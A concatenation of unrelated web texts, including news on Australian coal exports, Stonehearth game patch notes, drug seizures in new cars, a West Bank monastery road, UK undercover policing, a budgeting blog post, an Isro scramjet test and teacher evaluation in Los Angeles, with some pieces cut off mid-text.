The projects, backed by Adani and GVK, which bought its coal assets from Gina Rinehart in 2011, will attempt to open up vast deposits of coal buried in the Galilee Basin region. Clive Palmer’s China First mine is also slated for completion by 2017, removing a projected 40m tonnes of coal a year for export.
But the IEEFA analysis shows that the wholesale cost of electricity in India, a key export market, is half that of Galilee coal-fired power, making it financially unattractive for the Indian government.
That, coupled with a new focus on renewable energy such as solar and wind, and a falling coal price due to the flood of new resource from the Galilee Basin, will cause significant problems for Australian projects, the study found.
“Renewables are a lower cost, cleaner solution, particularly when the deflationary impact of wind and solar is incorporated,” the study states.
The price of coal has dropped sharply in the past three years. The mining industry has claimed this is part of a cyclical reverse in fortunes as the resources boom cools.
However, several high-profile projects have been cancelled recently, including the departure of BHP, Anglo American and Lend Lease from the vast mine, rail and port operation required to mine and ship coal from the Galilee Basin.
Tim Buckley, director of IEEFA, told Guardian Australia that India is likely to follow China in looking more to renewable energy than coal-fired power.
“People think India will just follow the same growth of China, but India’s economy has choked on coal energy and it doesn’t need more expensive coal imports,” he said.
“The solution for energy poverty in India isn’t coal, it’ll be a mix of energy sources, as China has started to move towards.”
Buckley said China’s huge investment in renewable energy will be replicated, albeit on a smaller scale, by India, influenced by the pro-solar policies of prime ministerial front-runner Narendra Modi. The cost of electricity generation from solar in India has fallen 65% in the last three years.
“The last thing Australia should do is flood the market with extra coal, there’s no way it can handle the number of projects currently in train,” Buckley said.
“China’s premier has made it clear he’s waging a war on pollution and the clear message is that they want anything other than coal.
“Meanwhile India has the majority of the top 10 most polluted cities in the world, as well as water scarcity issues. The move away from coal isn’t so much about climate change, it’s pollution, health and economics. That’s why savvy investors aren’t putting their money in coal.”Woo! Alpha 13 is here, and it’s a big one!
This release features the debut of Rayya’s Children, the second kingdom to be introduced in the world of Stonehearth. You’ll enjoy exploring their desert biome — it’s much different from the more familiar temperate environment of the Ascendancy, and carries some new challenges to creating your settlement.
Also in this release is the Hearthling Therapist, which replaces the old citizens’ menu and allows you to take more fine-grained control of your hearthlings.
Other features abound, from a choose-your-adventure introduction; the new Potter crafting class; and much more.
Here’s everything you need to know:
Redesigned Game Options
All new storybook-inspired getting started screen: select your kingdom, biome, and difficulty via interactive illuminated manuscript with borders by Tom and illustrations from Allie.
New Biome
Welcome to the desert! Eat prickly pears and husband your wood; it’s beautiful but bleak out there.
New Playable Kingdom
Rayya’s Children is now available for play-testing!
Their default starting talisman is the Potter’s Cutter.
Make clay bricks to build shelter in the desert.
Four brand new desert-themed housing templates.
New desert-themed UI skin, supported by the hot-loading mods feature.
New trading encounters.
Make lots of items to sell for necessities and talismans.
Rayya’s Children’s basic systems are in place, but still need a lot of tuning, so write us with your feedback.
New Roof Editor
We’ve added more options to the roof editor. You can now make flat roofs, control the height of the walls below the roof, and the amount of roof overhang in each direction.
“Hearthling Therapist”
The citizens UI has been overhauled and redesigned! In addition to showing portraits and attributes for the hearthlings, you can now select which jobs the hearthling should be able to perform. This makes it a lot easier to decide who to promote and control what jobs should be performed in your town.
Bug Fixes
Fixed a pathfinding bug that resulted in idle workers.
Fixed two bugs that prevented hearthlings from mining or building structures.
Fixed bug that caused enemies not to attack.
Fixed bug that caused hearthlings to float after ladders or earth had been removed from below them.
Prevent enemy camps from spawning over anyone’s town (including other NPC camps).
Fixed bug in crafting window that selected the first item when another window popped up.
Support undo when placing furniture and decorations in the building editor.
Check for collisions when placing items in buildings or on structures.
Fixed placed items not staying placed (e.g. rugs would always get restocked after placement).
Fixed engine error when picking up a destroyed item from a backpack.
Fixed facing when picking up items from stockpiles.
Improved physics code when an entity is stuck in something solid. Prevents hearthlings from ending on top of planted or growing trees.
Make it difficult to accidentally place hearthlings on top of trees when selecting a settlement location.
Fixed bug when lowering the water level of a lake.
Flag error, but allow water simulation to self correct after a non-fatal error.
Fixed engine error when changing crops on a fallow field.
Fixed panic posture which was only showing up half the time when panicking during combat.
Fixed bug that caused doors/gates not to open for hearthlings.
Selecting items to loot will now ignore items already in storage.
Fixed model and collision regions for a bunch of items.
Make Potter Wheel restockable.
Fixed stock category for the Coarse Fiber Bundle.
Fixed the icon for the cook outfit.
Fixed titles for the Master Mason and Master Cook.
Other Changes
The Potter class has now been added! Mine clay from the earth and convert it to clay lamps and pots. Clay can also be turned into bricks for building.
Structures that have been completed can now be torn down. Select the structure in build mode ‘b’ and press the ‘Remove’ button. Note that this doesn’t work for buildings that used the insta-build console command.
Items now fall off ladders.
Crafting a fine item now grants an addition item instead of replacing the ordinary item. This makes satisfying trading demands more reliable until we allow traders to accept the fine versions of items.
Doors can now be placed in the world like furniture, so they can now be placed in mines/tunnels. The Wooden Double Door fits perfectly with a 4 block wide opening.
Tweaked experience gain so that there is more balance when leveling up professions.
By popular demand, add the Gilded Crimson Rug to the game.
Improved placement of decorative items on ledges.
The drop rate of stone when mining dirt has been reduced.
Waterfalls have a new animated effect that depends on the amount of water flowing.
Enable mining for the Blacksmith and Mason.
Added tooltips to resources in the building designer.
Tweaked prices on a number of items.
Allow promotion talismans to be sold.
The Quickstart button has been disabled.
Detect and notify the player when Lavasoft Ad-Aware crashes Stonehearth.
Known Issues× $1 million in marijuana found in brand new Ford Fusions
YOUNGSTOWN, Ohio — Word on the street is the new Ford Fusions are dope — but not in the way you think.
Authorities are looking into how marijuana worth $1 million was hidden in the trunks of brand new, Mexican-made Ford Fusions at a dealership in Ohio, according to Silverio Balzano, agent in charge of the Drug Enforcement Administration’s Youngstown office.
The cars were manufactured at the Ford plant in Hermosillo, Sonora, Mexico, and were shipped by rail into a CSX yard in Lordstown, Ohio, Balzano said.
Now, investigators are trying to discover where along the supply line the marijuana was packed into the cars — and who failed to retrieve it.
“Clearly, something went wrong,” Balzano said. “Generally speaking, they could take it off anywhere else along the way.”
A dealership in Youngstown gradually discovered the marijuana between July 7 and July 11, Balzano said, packed in the shape of half-moons and placed into the wheel wells for the vehicles’ spare tires.
Each of the wheels weighed approximately 14.5 kilos, or nearly 32 pounds. In total, marijuana was found in 15 cars in four counties in Ohio, Balzano said, and a couple even surfaced in Pennsylvania.
Balzano said this was not the first he’s heard of marijuana hidden in cars shipped from Mexico.
“This is the first time I’ve seen it locally,” he said, but similar seizures were made earlier this year in Minnesota and the Phoenix area.
In March, police in Dilworth, Minnesota, also discovered drugs packed in Ford Fusions manufactured in Mexico. According to a release posted on the department’s Facebook page, police recovered “a large quantity of marijuana packaged in the trunk of seven vehicles where the spare wheel should be. ”
Dilworth police said the cars were transported in sealed BNSF Railway cars.
“We’re aware of the situation and are taking it very seriously,” a Ford Motor Company spokesman said Saturday. “We are working with the FBI and Customs on an extensive investigation. We have confirmed that this is not happening at our plant or at our internal shipping yards.”
A CSX spokesman told CNN that the transportation company is “providing all the support we can to the agencies who are investigating this serious crime and will continue to do so.”
The Portage County Sheriff’s Drug Task Force is working with the DEA in the investigation.ST. GEORGE’S MONASTERY, West Bank — Gathered in the chapel of this outpost in the Judean Desert Tuesday, the Orthodox priests chanted “Lord, have mercy” in Greek, in a service of blessing for a new road that makes the venerable building accessible to the growing number of tourists willing to dare a visit to the troubled Holy Land.
As far as the Palestinian Authority is concerned, the priests may as well have been speaking, well, Greek. Because the road was built by Israel over land the Palestinians consider their own, officials in Ramallah condemned the priests’ participation in the road’s inauguration ceremony.
Palestinian Prime Minister Salam Fayyad “expressed surprise” that the Orthodox priests joined the director-general of the Israeli Tourism Ministry Tuesday at the monastery, which clings to a cliff side over Wadi Qelt, a deep canyon running down to the Jordan Valley. Another Palestinian minister said the monks’ presence “gave a deceiving impression” about the status of the land around St. George’s.
Like other stretches on the rocky road that still clings to the misnomer “peace process,” the Palestinian protest will fade like a mirage in the desert surrounding St. George’s. More important in the end is the (literally) concrete path laid out for pilgrims to visit one of the most important and most beguilingly beautiful sacred sites in the Holy Land.
Archbishop Aristarchos, the secretary of the Greek Orthodox Patriarchate in Jerusalem and the leader of the brief prayer service, was diplomatic in his comments, when asked about Palestinian complaints over the road.
“This is a monastery of prayer for peace in our region, for peace in the Holy Land,” Aristarchos said. “The road brings full access for pilgrims who are messengers of peace to the Holy Land.”
The $500,000 road cuts over from the main Jerusalem-Jericho highway in front of the entrance to an Israeli settlement. It snakes around dusty dunes and dry wadis. To the east, the view is hazy down over the Jordan Valley to the mountains rising in the Hashemite Kingdom. After a 10-minute drive, visitors arrive at a parking lot.
The ride used to take over an hour in a four-by-four vehicle or considerably longer for hikers.
Tourism in Israel is at record levels, according to the Tourism Ministry, mainly fueled by pilgrimages. This year 3.1 million visitors came to Israel, which is higher than the bumper year of 2000, when the visit of Pope John Paul II brought a boost. After the papal visit, the violence of the intifada made for a six-year tourism nightmare in which most people were too scared to come to sites in Jerusalem, Nazareth and Bethlehem.
About two years ago, I noticed an increase in the number of tour buses pulling up at the tiny Greek Orthodox monastery on my street. Hunched Greek ladies wearing black shuffled toward it, cooing at my son as I took him to play in the park next door. Presumably these friendly old crones were in no physical condition to make it through the desert tracks to the monasteries in the Judean Desert.
That’s a shame, because the desert outposts are very important to the history of Christianity in the Holy Land and it’s why Archbishop Aristarchos will surely not sweat the Palestinian protests about the new road too much.
St. George’s stands on the place where Christians believe the Prophet Elijah secluded himself. A bird brought him food. It’s also where Joachim wept with joy when he heard the news that his wife would give birth to Mary, later to be the mother of Jesus.
Built in the fifth century, St. George’s was destroyed by Persian invaders in the seventh century and not fully reconstructed until 1901. The monastery is made of the same khaki limestone as the cliffs on which it nestles. The only splash of color is the turquoise dome of its chapel.
St. George’s is home to some gory relics. In its chapel, visitors can view the bones and skulls of priests killed by the Persians, kept in silver boxes. In a side-chapel, a Romanian monk who died in 1960 has been preserved. His brown, mummified face leers with a full set of teeth through his glass casket.
After the prayer service, nuns brought out baklava, juice and fruit for the guests. Archbishop Aris Shirvanian, a senior official in the Armenian Patriarchate in Jerusalem, tucked into a sandwich on brown bread.
“It’s very important for pilgrims to come to make us local Christians feel supported,” he said. “We’re the living stones of the Church in the Holy Land.”
The people who travel the new road are more important than the authority that built it.Twenty environmental activists are seeking to overturn recent criminal convictions in the wake of the Guardian's revelations about a network of undercover police officers embedded deep in the movement.
Lawyers for the group claim that a failure to disclose the role of covert police operative Mark Kennedy during their trial may have led to a miscarriage of justice and have written to the Crown Prosecution Service demanding details of his role.
Six other activists walked free from court earlier this week after their lawyer, Mike Schwarz, demanded details of the part played by Kennedy in planning the environmental protest they took part in at Ratcliffe-on-Soar power station, near Nottingham, in 2009.
However, last month, in a separate trial, the 20 green campaigners were convicted of conspiracy to commit aggravated trespass during the same protest, after failing to convince a jury that their actions were designed to prevent immediate harm to human life and property from climate change.
"The police allowed this trial, unlike the later one, to run all the way to conviction," said Schwarz, whose firm, Bindmans, represents both groups of protesters. "In the light of events last week, this must be seen as a potential miscarriage of justice."
Revelations of PC Kennedy's activities by the Guardian this week have triggered a crisis in undercover policing. He is alleged to have played a central role in organising a proposal to break into the power station.
Kennedy used the fake identity "Mark Stone" to live for seven years in the protest movement, infiltrating activist groups in 22 countries. He had sexual relationships with a number of women. He also revealed the identity of another undercover officer to fellow activists, leading to a security operation this week as police tried to ensure all their undercover officers were safe.
An investigation into the collapse of the trial of the six activists is expected to be launched shortly by the Independent Police Complaints Commission. The body is also considering widening its inquiry to take into account whether or not Kennedy acted as an agent provocateur during his years undercover. A further review into the wider undercover operation and those organising it may also follow.
The case of Kennedy and the other undercover officer – a woman the Guardian is calling Officer A after representations from senior police officers – has thrown a spotlight on the role of secretive police intelligence units, overseen by the Association of Chief Police Officers, to which Kennedy and Officer A were seconded.
Today the former director of public prosecutions, Lord Macdonald, said the handling of undercover officers appeared to be alarming and opaque. "There should be published guidelines," he said. "It is particularly important that the public understands what the principles and what the rules are. The fact this operation is so opaque, nobody knows how it was run, what the objectives were, why it ran for so long. I think that's quite alarming."
The defence used by the 20 convicted activists – known as "necessity" – is similar to one that has been used successfully in the past by environmental protesters. In 2008, six Greenpeace activists were acquitted of causing criminal damage after scaling a chimney at Kingsnorth power station after convincing jurors that they sought to protect property around the world threatened by climate change.
But the defence relies on convincing a jury that defendants genuinely believed they were acting through "necessity" to prevent death and serious injury caused by carbon dioxide emissions and climate change. During last month's trial of the six Ratcliffe-on-Soar defendants, the prosecution argued that they were not really intending to stop carbon emissions, but instead engaged in a publicity stunt.
But the activists' lawyers now believe that Kennedy, who they say was central to the protest from the moment the idea was hatched, would have been in a prime position to reject that claim.
Kennedy has been described by activists involved in the Ratcliffe action as having been "in the thick of it". His name appeared on receipts for the hire of a 7.5-tonne truck to transport equipment for the protest. He used his fake passport and driving license for the transaction, which cost a £778.
In a letter to the CPS seen by the Guardian, the lawyers have asked for disclosure of material relating to Kennedy "any other undercover officers or informers" that could have undermined the prosecution's case.
"The crown's case to the jury was that the defendants were lying when they told the jury in evidence that the action was about preventing carbon dioxide emissions," the letter said.
"The defendants believe that the undercover officer Mark Stone/PC Kennedy – and any other officer involved in the planning and implementation of the proposed action – would have been in a position to rebut these assertions. Mark Stone/PC Kennedy was well connected to the organisation of the action and was involved in planning discussions from an early stage."
The letter added: "He was a vehicle driver and present at the school before the arrival of the majority of campaigners. He had a central role in the black conveyor belt team. He had many discussions with individuals about the proposed action. He observed what many of the defendants did, discussed and sought to achieve."
It goes on to request disclosure of "any material, statements, briefing notes, contact logs or similar documents generated" generated by Kennedy or other spies.
Police have claimed that the plan to break into the power station would have endangered lives and was a serious criminal act. However, handing down sentences to 18 activists ranging from 18 months' conditional discharge to 90 hours' unpaid work, Judge Jonathan Teare gave a different view. He described them as individuals with "the highest possible motives".Disclosure: This article contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. For a full explanation of our Advertising Policy, visit this page for more information.
The following is a contribution from Kalen at Money Mini Blog. If you’d like to contribute to Frugal Rules, please contact us.
Imagine that you decide that it’s time to take control of your money, so you start a budget. You figure out which categories you want and set some amounts. Everything’s going great and then you forget to track a purchase or two, or three. Then your grocery bill goes way over budget and you end up needing to pull money out of your savings account.
You think you suck at budgeting. But here’s a little secret:
This happens every time someone starts a new budget and there are some things you can do to stay on track and actually make this budgeting thing work. Here are a few hints to help you stack on track with your budget.
#1 – Start With Tracking
I would bet that most budgets fail within the first month or two. It’s exciting at first, but after a few weeks it may start to get difficult. When you start a budget, the first few months are for tracking your expenses. If you haven’t lived on a budget before, you won’t really know how much you’re spending in each area. So here’s what you do:
Write down every single purchase. At the end of the month, go over all your purchases and put them into categories (groceries, auto, entertainment, etc.) Do this for a few months to get an idea of how much you spend in each area, then create your budget.
It may take several months before you start building an accurate budget, but the first few months are crucial to its success.
#2 – Accept Failure
There will be months when you overspend and days when you forget to put purchases in your budget. That’s fine. Everybody does it. Accept failure as a learning experience, but use what you learn to make a more accurate budget.
Don’t give up. It takes years to perfect a budget, if that’s even possible. If you mess something up, keep going. It’s just one stumble and it’s going to happen. The most successful budgets have missed many times before they hit the mark.
#3 – Create a “Blow” Category
Before this gets weird, let me say: I’m not advocating drugs. I’m talking about creating a category for money that you’re free to “blow” on whatever you want each month. This fund is often the reason a healthy budget is well, healthy.
Figure out how much your “blow money” will be, based on your finances. It may only need to be $20/month or you may be able to get away with $50, $100 or more. Including this category is important to make sure you budget runs smoothly. It gives you the freedom the spend or “blow” some money on you. All of those spontaneous and random purchases for yourself fit into this category.
#4 – Make budgeting Easy
This is the most important point. Make your budget easy and accessible and do what works for you. There’s no need to create an in-depth spreadsheet in Excel, if you know you won’t use it. Figure out the best method for you.
It could be a paper budget, a spreadsheet, an app or budgeting software. If one doesn’t work well for your lifestyle, try another one. There is something out there that fits you and your budget. There are even free budget tools available online that you can use. The point is there are resources available that you can make work for you and your specific situation.
#5 – Make it Automatic
With all the budgeting software available today, it’s easy to automate your budget. You may prefer the control of a manual budget or you may just like typing in all those numbers. I know I may sound sarcastic, but I actually prefer doing it manually. Though I must admit: automation definitely makes things easier.
Automated budgeting software lets you link your banking and investment accounts with a program that then tracks all your expenses for you. Even though I track my budget manually, I still use Mint.com almost like a backup. I have all my finance accounts linked to my Mint account and I use it to look for trends in my spending and my progress on my financial goals. Another option and good alternative to Mint is Personal Capital and its offering of the ability to track your investments and credit card accounts as well.
There’s no more room for excuses. Go out and create the budget that works for you.
What budgeting style works for you? What do you use to keep track of your budget? Share in the comments!
Additional resource: If you’re looking for a simple way to get on track with your finances, then check out my favorite new tool – Personal Capital. Completely free, it allows you to track your spending, monitor your bank and investment accounts and watch your net worth plus many other tools.
Open your free Personal Capital account today!
Author Bio: Kalen Bruce is the founder and main writer at MoneyMiniBlog, where he writes short, sweet and simple articles about money and productivity. Kalen lives a debt-free life with his wife and four children. Get his free ebook here: Financial Freedom on a Full Schedule.Michael Cox is just one of four returning players for Orlando City B this season. He sees himself as one of the team's main players.
ORLANDO, Fla. – When it comes to the team’s roster, OCB has endured a lot of fluctuation. Prior to its season-opening 1-0 loss to the Tampa Bay Rowdies, nine Major League Soccer players were sent on season-long loans from Orlando City SC’s MLS side. That gave the new MLS additions only a couple of days to train with a team that had been in preseason together for more than a month.
For OCB striker Michael Cox, who led the team in scoring last season with 11 goals, he feels there’s more weight on his shoulders as one of only four returnees to the B team, not including MLS players on season-long loans.
“I see myself as one of the main players on the team,” Cox said after training on Tuesday. “For sure, I’ll take responsibility for any faults or miscommunication or things that go wrong on the field. I have a bit of a weight on my shoulder as well. I wanna do well for the team and for myself, so I’m gonna continue to work hard and just try and be better every game.”
New teammate Austin Martz sees that Cox is up to a newfound challenge in the team’s second season in the United Soccer League.
“He had a great last year. I think he scored 11 goals, and, obviously, he was a threat all last season,” Martz said after a 3-1 loss to Louisville City FC Thursday. “And so there’s gonna be people who have his number this year in scouting, and other teams are gonna be aware of his goal-scoring ability, and that always puts more pressure on a player ‘cus, now, all of a sudden, you’ve got guys tighter on your back, and you’ve got teams who know how you play and know your style.
“I think he’s up for the challenge. I think he can handle it, and, like I said, it’s still early. Fortunately, we have couple games coming up, and I think he’ll find his stride soon. So we definitely will need him in the season to score goals for us.”
For OCB head coach Anthony Pulis, though, that responsibility can’t rely solely on his two perpetual starters, team captain Lewis Neal and Cox.
“Lewis and Cox know exactly what’s expected of them, but there’s still nine other players out there,” Pulis said after the 3-1 loss. “And that is the difficult sort of dynamic with this group is it’s always changing. You don’t get a consistent 18 or 11, if you like. So it’s important that the guys that do come and join us sort of buy in and understand what we want to do.”
OCB next hosts Toronto FC II on Tuesday at 7:30 p.m.Israeli forces have reportedly stolen money and jewelry from a Palestinian home during a predawn raid in the occupied West Bank.
Nasim Hilmi Karaki, a lieutenant colonel with the Palestinian Authority national security forces, said Wednesday that the Israelis stole money and jewelry from his family home in the northern West Bank village of Salem, east of Nablus, Palestinian Ma'an news agency reported.
The Israelis forced their way through the main door of the residence. The Palestinian security officer was cuffed and forced to stay with the rest of the family in one of the rooms. Karaki said the house was ransacked for at least four hours.
According to Karaki, the Israeli forces were searching for firearms but were unable to find any.
This photo shows a room in the house of Nasim Hilmi Karaki, a lieutenant colonel with the Palestinian Authority national security forces, after being raided by Israeli troops. (Maan photo)
The Israelis also detained Karaki's 18-year-old son, identified as Hilmi. Karaki's son was one of dozens of Palestinians detained by Israeli forces across the occupied West Bank overnight Tuesday.
On Wednesday, Israeli forces kidnapped 16 Palestinians in Nablus, 12 in Bethlehem, two in Ramallah and one in Jericho in their predawn raids on Palestinian homes.
The Israeli regime forces regularly raid Palestinian homes and abduct residents across the occupied territories by applying the overused pretext of perceived security threats.
Nearly 7,000 Palestinian prisoners are currently being kept in Israeli detention centers, many without charge or trial.Discussed in this essay:
Get Out, directed by Jordan Peele. Blumhouse Productions, QC Entertainment, and Monkeypaw Productions, 2017. 104 minutes.
Open Casket, by Dana Schutz. 2017 Whitney Biennial, Whitney Museum of American Art, New York. March 17–June 11, 2017.
You are white—
yet a part of me, as I am a part of you.
That’s American.
Sometimes perhaps you don’t want to be a part of me.
Nor do I often want to be a part of you.
But we are, that’s true!
As I learn from you,
I guess you learn from me—
although you’re older—and white—
and somewhat more free.
—Langston Hughes
Early on, as the opening credits roll, a woodland scene. We’re upstate, viewing the forest from a passing car. Trees upon trees, lovely, dark and deep. There are no people to be seen in this wood—but you get the feeling that somebody’s in there somewhere. Now we switch to a different world. Still photographs, taken in the shadow of public housing: the basketball court, the abandoned lot, the street corner. Here black folk hang out on sun-warmed concrete, laughing, crying, living, surviving. The shots of the woods and those of the city both have their natural audience, people for whom such images are familiar and benign. There are those who think of Frostian woods as the pastoral, as America the Beautiful, and others who see summer in the city as, likewise, beautiful and American. One of the marvelous tricks of Jordan Peele’s debut feature, Get Out, is to reverse these constituencies, revealing two separate planets of American fear—separate but not equal. One side can claim a long, distinguished cinematic history: Why should I fear the black man in the city? The second, though not entirely unknown (Deliverance, The Wicker Man), is certainly more obscure: Why should I fear the white man in the woods?
A few years ago I interviewed Peele as he came to the end of a long run on the celebrated Comedy Central sketch show Key and Peele. On that occasion he spoke about comic reversals—“I think reversals end up being the real bread and butter of the show”—and about finding the emotional root of a joke in order to intensify it: “What’s the mythology that is funny just because people know it’s not true?” Get Out is structured around such inversions and reversals, although here “funny” has been replaced, more often than not, with “scary,” and a further question has been posed: Which mythology? Or, more precisely: Whose? Instead of the familiar, terrified white man, robbed at gunpoint by a black man on a city street, we meet a black man walking in the leafy white suburbs, stalked by a white man in a slow-moving vehicle from whose stereo issues perhaps the whitest song in the world: “Run, rabbit, run, rabbit, run run run …”
Get Out flips the script, offering a compendium of black fears about white folk. White women who date black men. Waspy families. Waspy family garden parties. Ukuleles. Crazy younger brothers. Crazy younger brothers who play ukuleles. Sexual psychopaths, hunting, guns, cannibalism, |
."
B.C. would have to "resist the temptation to spend our way into trouble," it said.
The speech also said the province is moving forward with a tax credit for farmers that donate food to non-profits, investigating allegations of improper behaviour in the housing market, working to encourage more housing supply and hiring more social workers.This recipe was written on a lined index card and found in a large collection, date unknown. I’ve typed it below along with a scanned copy (front side only).
Italian Lemon Slices
3 c flour
3 t baking powder
1 t salt
1/2 c oleo or (butter)
1 c sugar
1 t. fresh lemon juice (or 1 t. anise flavor) (also grate rind of lemon)
3 eggs
Sift flour, baking powder & salt. In large bowl cream butter, sugar & flavoring, beat in eggs, one at a time. Add flour mixture. Mix well, turn out onto flour table and knead for a few minutes, add flour a little at a time so it won’t be sticky. Divide into three or four balls. Roll each ball into a 1″ diameter. Place on greased sheet. Bake 350° 25 min. Sprinkle top with colored sugar & press down slightly before baking. Slice about 1/2″ slices while still warm. Spread on paper towel to cool. Store in baggies or plasticware.BANGALORE: The JD(S)-BJP alliance appears to break before taking shape.
The efforts of former chief minister HD Kumaraswamy and former deputy CM R Ashoka for an having understanding for the Bangalore Rural and Mandya Lok Sabha bypolls has gone a step backward with JD(S) supremo HD Deve Gowda categorically ruling out open or tacit understanding with the BJP.
The BJP after offering to support JD(S) in the bypoll, had demanded that the latter openly declare the alliance. The deal was that the BJP would support JD(S) in the Lok Sabha bypoll, inturn Kumaraswamy should not field any candidate for the three vacant seats to Upper House. In this regard, both Kumaraswamy and BJP leaders had held couple of meetings.Following close door meetings, the BJP has fielded two candidates - B Nagaraju and Bangalore South MLA M Krishnappa. If the alliance succeeds by last day for withdrawal of nominations on Wednesday, both the BJP candidates will withdraw their nominations in favour of JD(S). In case of a failure, Krishnappa will withdraw and Nagaraju will remain in the fray. Former zilla panchayat member K S Doraiswamy is the BJP candidate from Mandya.Even as BJP demanded for an open alliance, Gowda on Monday reacted saying he was not in favour of an alliance either open or tacit with BJP. When told about Kumaraswamy-Ashoka meeting, Gowda said Kumaraswamy was just a state president of the party, as a national president he would disapprove any such move.Meanwhile, chief minister Siddaramaiah said the true colours of JD(S) was out as the party had evinced interest in the joining hands with BJP. "Repeatedly JD(S) is showing its communal colours by aligning with BJP. What happened to secular promises made by JD(S) to minorities? What ever may be the developments, Congress will not be affected by it. It will emerge victorious in both the segments," CM said.Adding another feather to its cap, Indian Space Research Organisation (Isro), on Sunday, successfully tested two indigenous scramjet engines at the the Satish Dhawan Space Centre at Sriharikota in Andhra Pradesh at around 6.00 am. The on-flight test of the two air-breathing engines was conducted successfully with Isro's Advanced Technology Vehicle (ATV), which is an advanced sounding rocket.
The rocket weighed 3,277 kg during lift-off.
According to an Isro official, "The scramjet engines were ignited 55 seconds into the rocket's flight. The engines were tested for six seconds." But what is it about the scramjet that makes it stand apart from other rocket engines, already a part of Isro's fleet? Cutting through the technical jargon, here's all you need to know about Isros latest feat.
Scientists say that the scramjet technology effectively cuts down the cost of launching rockets by reducing its weight by more than half, according to The Times of India. Oxygen is as essential for the process of combustion as it is for sustenance of life. Therefore a rocket, during its launch, needs to combine a combustion fuel with liquid oxygen to create the thrust needed for the take-off and flight. However, if the need for liquid oxygen is taken away, the space craft can be much lighter, hence cheaper to launch. The technology also has the potential to be adapted to commercial planes and it can substantially reduce the travelling time as well.
This is what essentially SCRAMJET or Super Sonic combustion Ramjet achieves, by reducing the amount of oxidiser to be carried along with the fuel. While conventional rocket engines need to carry both fuel and oxidiser on board for combustion to produce thrust, air-breathing rocket systems on the other hand uses the atmospheric oxygen from their surroundings and burn it with the stored on- board fuel. Scramjet engines obtain oxygen from the atmosphere by compressing the incoming air before combustion at hypersonic speed. It uses hydrogen as fuel and the oxygen from the atmospheric air as the oxidiser.
When the rocket reaches a height of 11 km, the scramjet engines would start breathing air directly from the atmosphere, therefore the spacecraft can be smaller or carry more payloads, making it a commercially viable option. According to The Times of India report Isro's main concern was igniting the air-breathing engine in the air and then sustaining the flame at supersonic speed. "If the engine can sustain it for five seconds, then it can last for even 1000 seconds," an Isro official told The Times of India.
The engines were successfully tested for six seconds on Sunday. The test flight was the maiden short duration experimental test of Isro's scramjet engine with a hypersonic flight at 6 Mach.
The engine when fully developed, will eventually be used in Reusable Launch Vehicles or RLV's.
According to Isro, some of the technological challenges handled by Isro during the development of scramjet engine include the design and development of hypersonic engine air intake, the supersonic combustor, development of materials withstanding very high temperatures, computational tools to simulate hypersonic flow, ensuring performance and operability of the engine across a wide range of flight speeds, proper thermal management and ground testing of the engines.
"India is the fourth country to demonstrate the flight testing of scramjet engine. The successful technology demonstration of air-breathing scramjet engines in flight by Isro is a modest yet important milestone in its endeavour to design and develop advanced air breathing engines including engines for Isro's future space transportation system," the space agency added.
According to the Isro website, the current space transportation systems are expendable in nature and use the conventional chemical rocket systems for their propulsion, which makes it a cost-heavy exercise (in the range of $12,000 to $15,000 per kg). However, cutting down on the need to accommodate liquid oxygen in the spacecraft will bring down the costs heavily. However, the scramjet engines can be used only during the atmospheric phase of the rocket's flight (when atmospheric oxygen is available for use). So, the technology needs to be combined with the conventional chemical rockets, for meeting the final orbital velocity requirements.
According to a report by NDTV, the scramjet will bring down the launch cost of weather satellite INSAT-3DR which is a high-end weather forecast system designed for enhanced meteorological observations and disaster warning. The satellite scheduled to be launched in August earlier, but it has been postponed to September.
With inputs from IANS
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.IDEAS Zócalo Public Square is a magazine of ideas from Arizona State University Knowledge Enterprise.
Imagine one morning, coffee in hand, you head to the website of your local newspaper, type in your name, and up pops how you rank in relation to your colleagues at work. The ranking is based on some mysterious statistical model but the message is clear—you don’t measure up. Now imagine the sting of public humiliation when you run into your neighbors, colleagues, and family later that day.
This was the reality for Los Angeles Unified School District (LAUSD) elementary school teachers in August 2010, when the Los Angeles Times published a database with thousands of teachers’ names alongside a measure of how much “value” each had added to their students’ standardized test scores.
The fallout from the Times database, which relied solely on students’ math and English scores on the California Standards Tests, has been national in scope. The National Education Policy Center re-analyzed the data, using a different statistical model, and found that 54 percent of teachers in the Times’ database fell into a different effectiveness category. Calling the Times’ release “reckless,” the Center’s analysis joined a maelstrom of critiques and legal battles that continue today.
A notable calm in this storm is the near universal acceptance that teaching quality should be evaluated using multiple measures. These include observing teaching practice over time, asking students to report on the quality of their experience, and analyzing the rigor of assignments. The work of teaching is complex, as is the resulting arc of student learning. In order to capture what’s really happening in classrooms, we need a variety of tools to mitigate the error associated with any one measure. But, as schools and districts are discovering, the devil is in the details. Creating a system for collecting, analyzing, and using multiple data points to promote teacher learning and growth requires infrastructure, reliable measures, hours of administrative and teacher time, technical expertise, and, above all, faith and trust in the process.
The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now
Ensuring that faith and trust is no easy feat. Many teachers in Los Angeles are wary of the centralized systems under construction to monitor their performance and enhance their growth. The Times’ misstep was followed by massive LAUSD layoffs due to budget cuts, and, in 2012, by the acrimonious Vergara v. California lawsuit, which continues to focus public attention on how to fire bad teachers. In this context, it takes strength and courage to open up your classroom door and invite others in to evaluate the quality of your practice.
That’s just what a group of teachers at one Los Angeles public school is doing. For the past five years, teachers at the UCLA Community School, in the central city neighborhood of Koreatown, have been mapping out their own process of evaluation based on multiple measures—and building both a new system and their faith in it.
As one of Los Angeles’ 50 “pilot schools”—district schools with charter-like autonomy to innovate—this school is the only one trying to create its own teacher evaluation infrastructure, building on the district’s groundwork. As the school’s research director, I’ve helped support data collection and analysis, but the evaluation process is owned by the teachers themselves.
Indeed, these teachers embrace their individual and collective responsibility to advance exemplary teaching practices and believe that collecting and using multiple measures of teaching practice will increase their professional knowledge and growth. They are tough critics of the measures under development, with a focus on making sure the measures help make teachers better at their craft.
When it came to student surveys, for instance, teachers added questions that were open-ended, pressing students to explain how the teachers could improve. Students made a variety of helpful suggestions, such as asking for more explanation of math strategies. Teachers also received scores in areas such as academic challenge and classroom engagement, which were further broken down by student groups. For example, a simple bar graph allowed teachers to see whether struggling students felt as supported or challenged as their high-achieving peers. I met with a few teachers and was impressed to hear them reflect on how they could better reach failing students. One teacher was moved to tears looking at her scores, remarking, “These are my students talking to me.” Throughout this feedback process, I was struck by how much teachers appreciated external, trustworthy data on their daily practice.
